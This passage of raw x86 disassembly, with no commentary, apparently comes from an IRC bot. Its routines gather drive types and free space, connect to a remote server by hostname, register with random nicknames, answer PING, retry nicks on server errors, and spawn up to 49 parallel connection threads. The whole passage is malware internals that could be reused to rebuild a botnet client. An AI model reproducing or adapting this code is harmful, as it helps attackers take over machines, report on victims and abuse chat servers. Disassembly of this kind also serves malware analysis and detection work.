		push	ebx
		call	sub_41A090
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_414872
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_414834
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_414834
; ---------------------------------------------------------------------------


loc_414872:				; CODE XREF: sub_41480F+4Bj
		mov	eax, edi
		jmp	short loc_41487B
; ---------------------------------------------------------------------------


loc_414876:				; CODE XREF: sub_41480F+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_41487B:				; CODE XREF: sub_41480F+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_414876
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41480F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41488D	proc near		; CODE XREF: sub_414A39+51p
					; sub_414A39+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CDF40	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4148D0
		dec	eax
		jz	short loc_4148CA
		dec	eax
		dec	eax
		jz	short loc_4148C4
		dec	eax
		jz	short loc_4148BE
		dec	eax
		jz	short loc_4148B8
		dec	eax
		jz	short loc_4148B2
		mov	eax, offset word_43AF50
		retn
; ---------------------------------------------------------------------------


loc_4148B2:				; CODE XREF: sub_41488D+1Dj
		mov	eax, offset off_43AF4C
		retn
; ---------------------------------------------------------------------------


loc_4148B8:				; CODE XREF: sub_41488D+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_41488D+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4148C4:				; CODE XREF: sub_41488D+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4148CA:				; CODE XREF: sub_41488D+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4148D0:				; CODE XREF: sub_41488D+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_41488D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148D6	proc near		; CODE XREF: sub_41491E+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CDDE4
		test	eax, eax
		jz	short loc_41490B
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_41490B:				; CODE XREF: sub_4148D6+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4148D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41491E	proc near		; CODE XREF: sub_414A39+17p
					; sub_4179BF+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4148D6
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4149F6
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4149F6
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4149F6
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41A180
		push	edx
		push	eax
		call	sub_41480F
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41A180
		push	edx
		push	eax
		call	sub_41480F
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41A180
		push	edx
		push	eax
		call	sub_41480F
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 18h
		pop	ebx
		jmp	short loc_414A25
; ---------------------------------------------------------------------------


loc_4149F6:				; CODE XREF: sub_41491E+2Cj
					; sub_41491E+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4185E6
		add	esp, 18h


loc_414A25:				; CODE XREF: sub_41491E+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41491E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A39	proc near		; CODE XREF: sub_414B0B+17p
					; sub_414B0B+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41491E
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_418DD0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_414AAC
		push	ebx
		push	ebx
		call	sub_41488D
		pop	ecx
		push	eax
		push	offset unk_43AFA0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 14h
		jmp	short loc_414AE0
; ---------------------------------------------------------------------------


loc_414AAC:				; CODE XREF: sub_414A39+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_41488D
		pop	ecx
		push	eax
		push	offset unk_43AF64
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 20h


loc_414AE0:				; CODE XREF: sub_414A39+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_413F3A
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414A39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B0B	proc near		; CODE XREF: sub_401AA1+2084p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_414B2C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414A39
		add	esp, 10h
		jmp	short loc_414B8B
; ---------------------------------------------------------------------------


loc_414B2C:				; CODE XREF: sub_414B0B+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CDE58	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_418235
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CDE58	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_414B82


loc_414B50:				; CODE XREF: sub_414B0B+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414B73
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414A39
		add	esp, 10h


loc_414B73:				; CODE XREF: sub_414B0B+54j
		push	esi
		call	sub_417D40
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_414B50


loc_414B82:				; CODE XREF: sub_414B0B+43j
		push	edi
		call	sub_417E11
		pop	ecx
		pop	edi
		pop	esi


loc_414B8B:				; CODE XREF: sub_414B0B+1Fj
		pop	ebx
		pop	ebp
		retn
sub_414B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B8E	proc near		; CODE XREF: sub_414D50+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CDF60	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_414C0A
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CDEE4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CDF20	; inet_addr
		cmp	eax, esi
		jnz	short loc_414BEF
		push	[ebp+arg_0]
		call	dword_4CDF64	; gethostbyname
		test	eax, eax
		jz	short loc_414C0A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_414BEF:				; CODE XREF: sub_414B8E+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CDE90	; connect
		cmp	eax, esi
		jnz	short loc_414C0E
		push	edi
		call	dword_4CDF78	; closesocket


loc_414C0A:				; CODE XREF: sub_414B8E+1Bj
					; sub_414B8E+58j
		mov	eax, esi
		jmp	short loc_414C10
; ---------------------------------------------------------------------------


loc_414C0E:				; CODE XREF: sub_414B8E+73j
		mov	eax, edi


loc_414C10:				; CODE XREF: sub_414B8E+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_414B8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C14	proc near		; CODE XREF: sub_401AA1+2D26p
					; sub_401AA1+2D8Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42D76C ; "\n"
		push	edi
		call	sub_418C20
		pop	ecx
		mov	esi, offset dword_4D5B0C
		pop	ecx


loc_414C2C:				; CODE XREF: sub_414C14+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_414C4A
		cmp	dword ptr [esi], 0
		jbe	short loc_414C4A
		push	0
		push	edi
		call	sub_417D40
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CDF30	; send


loc_414C4A:				; CODE XREF: sub_414C14+1Cj
					; sub_414C14+21j
		add	esi, 210h
		cmp	esi, offset dword_4DC22C
		jl	short loc_414C2C
		pop	edi
		pop	esi
		retn
sub_414C14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C5B	proc near		; CODE XREF: sub_414D50+14Fp

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42FF7C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_418E54
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_414C7F:				; CODE XREF: sub_414C5B+35j
		push	esi
		push	ebx
		call	sub_418E54
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_414C7F
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_414CA6
		cmp	esi, ebx
		jnz	short loc_414CA6
		xor	eax, eax
		inc	eax
		jmp	loc_414D4B
; ---------------------------------------------------------------------------


loc_414CA6:				; CODE XREF: sub_414C5B+3Dj
					; sub_414C5B+41j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_418DD0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_414CD0
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	short loc_414D2A
; ---------------------------------------------------------------------------


loc_414CD0:				; CODE XREF: sub_414C5B+5Dj
		push	offset a433	; "433"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CF1
		push	esi
		push	offset a432	; "432"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D49


loc_414CF1:				; CODE XREF: sub_414C5B+83j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_0	; "NICK	%s\n"
		push	eax
		call	sub_4185E6
		add	esp, 1Ch


loc_414D2A:				; CODE XREF: sub_414C5B+73j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDF30	; send


loc_414D49:				; CODE XREF: sub_414C5B+94j
		xor	eax, eax


loc_414D4B:				; CODE XREF: sub_414C5B+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414C5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D50	proc near		; DATA XREF: sub_414EEF+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_418880
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	dword_4D5D14[esi]
		lea	eax, dword_4D5B14[esi]
		inc	edi
		push	eax
		mov	dword_4D5B08[esi], edi
		call	sub_414B8E
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D5B0C[esi], eax
		jb	loc_414ECF
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_414F6D
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_4185E6
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D5B0C[esi]
		call	dword_4CDF30	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_414E29:				; CODE XREF: sub_414D50+17Aj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D5B0C[esi]
		call	dword_4CDEFC	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_414ECF
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_414EC5
; ---------------------------------------------------------------------------


loc_414E5D:				; CODE XREF: sub_414D50+178j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_414E84
		cmp	al, 0Ah
		jz	short loc_414E84
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_414E84
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_414EBE
; ---------------------------------------------------------------------------


loc_414E84:				; CODE XREF: sub_414D50+116j
					; sub_414D50+11Aj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_414EBE
		push	dword_4D5B0C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_414C5B
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_414ECF
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_414EBE:				; CODE XREF: sub_414D50+132j
					; sub_414D50+139j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_414EC5:				; CODE XREF: sub_414D50+10Bj
		mov	[ebp+var_4], eax
		jnz	short loc_414E5D
		jmp	loc_414E29
; ---------------------------------------------------------------------------


loc_414ECF:				; CODE XREF: sub_414D50+40j
					; sub_414D50+104j ...
		mov	dword_4D5B08[esi], ebx
		mov	esi, dword_4D5B0C[esi]
		cmp	esi, ebx
		jbe	short loc_414EE6
		push	esi
		call	dword_4CDF78	; closesocket


loc_414EE6:				; CODE XREF: sub_414D50+18Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_414D50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EEF	proc near		; CODE XREF: sub_401AA1+2C79p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_414F68


loc_414F01:				; CODE XREF: sub_414EEF+77j
		xor	edi, edi
		mov	eax, offset dword_4D5B08


loc_414F08:				; CODE XREF: sub_414EEF+28j
		cmp	[eax], ebx
		jz	short loc_414F19
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DC228
		jl	short loc_414F08


loc_414F19:				; CODE XREF: sub_414EEF+1Bj
		cmp	edi, 31h
		jz	short loc_414F68
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D5B14[esi]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D5D14[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D5B08[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_414D50
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_414F01


loc_414F68:				; CODE XREF: sub_414EEF+10j
					; sub_414EEF+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F6D	proc near		; CODE XREF: sub_401AA1+31CCp
					; sub_401AA1+320Fp ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		call	sub_418642
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_4246E0
		call	sub_4194F8
		cmp	eax, 1
		jnz	short loc_414FB7
		call	sub_418642
		call	sub_418642
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_43B2E0[edx*4]
		jmp	short loc_414FD0
; ---------------------------------------------------------------------------


loc_414FB7:				; CODE XREF: sub_414F6D+2Fj
		call	sub_418642
		call	sub_418642
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43AFE0[edx*4]


loc_414FD0:				; CODE XREF: sub_414F6D+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_418C10
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_417D40
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_418642
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4246D8
		call	sub_4194F8
		mov	ebx, eax
		call	sub_418642
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_4246D0
		call	sub_4194F8
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_415043
		cmp	esi, 3
		jnz	short loc_41503A
		cmp	ebx, 1
		jz	short loc_415043


loc_41503A:				; CODE XREF: sub_414F6D+C6j
		cmp	eax, 1
		jnz	loc_4150FC


loc_415043:				; CODE XREF: sub_414F6D+C1j
					; sub_414F6D+CBj
		call	sub_418642
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4246C8
		call	sub_4194F8
		push	off_43B2E0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_418C10
		lea	ebx, [ebp+esi+var_2C]
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_418D10
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4150E9
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_418D10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4150E9
		call	sub_418642
		mov	dword ptr [ebp+var_10+4], eax
		dec	esi
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], esi
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_4246D0
		call	sub_4194F8
		cmp	eax, 1
		jnz	short loc_4150E9
		push	edi
		call	sub_417D40
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_418642
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4246D0
		call	sub_4194F8
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_4150E9:				; CODE XREF: sub_414F6D+110j
					; sub_414F6D+121j ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_418F40
		add	esp, 0Ch


loc_4150FC:				; CODE XREF: sub_414F6D+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_417D40
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_41A22A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415353
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_418D10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415255
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4246D0
		call	sub_4194F8
		cmp	esi, 3
		jz	short loc_415166
		cmp	eax, 1
		jnz	loc_415255


loc_415166:				; CODE XREF: sub_414F6D+1EEj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4151AA
		push	edi
		call	sub_417D40
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4246D0
		call	sub_4194F8
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_4151C8
; ---------------------------------------------------------------------------


loc_4151AA:				; CODE XREF: sub_414F6D+202j
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246C0
		call	sub_4194F8
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_4151C8:				; CODE XREF: sub_414F6D+23Bj
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246B8
		call	sub_4194F8
		cmp	esi, 3
		jz	short loc_4151EE
		cmp	eax, ebx
		jnz	short loc_415255


loc_4151EE:				; CODE XREF: sub_414F6D+27Bj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_415233
		push	edi
		call	sub_417D40
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4246D0
		call	sub_4194F8
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_415251
; ---------------------------------------------------------------------------


loc_415233:				; CODE XREF: sub_414F6D+28Bj
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246C0
		call	sub_4194F8
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_415251:				; CODE XREF: sub_414F6D+2C4j
		inc	esi
		mov	[ebp+var_4], esi


loc_415255:				; CODE XREF: sub_414F6D+1C4j
					; sub_414F6D+1F3j ...
		cmp	esi, 6
		jge	short loc_4152D5
		call	sub_418642
		cmp	esi, 5
		jge	short loc_415272
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246D8
		jmp	short loc_41528B
; ---------------------------------------------------------------------------


loc_415272:				; CODE XREF: sub_414F6D+2F5j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4246D0


loc_41528B:				; CODE XREF: sub_414F6D+303j
		call	sub_4194F8
		test	eax, eax
		jnz	short loc_4152AE
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4246B0
		call	sub_4194F8
		mov	cl, 30h
		jmp	short loc_4152CB
; ---------------------------------------------------------------------------


loc_4152AE:				; CODE XREF: sub_414F6D+325j
		cmp	eax, 1
		jnz	short loc_4152D5
		call	sub_418642
		mov	dword ptr [ebp+var_18+4], eax
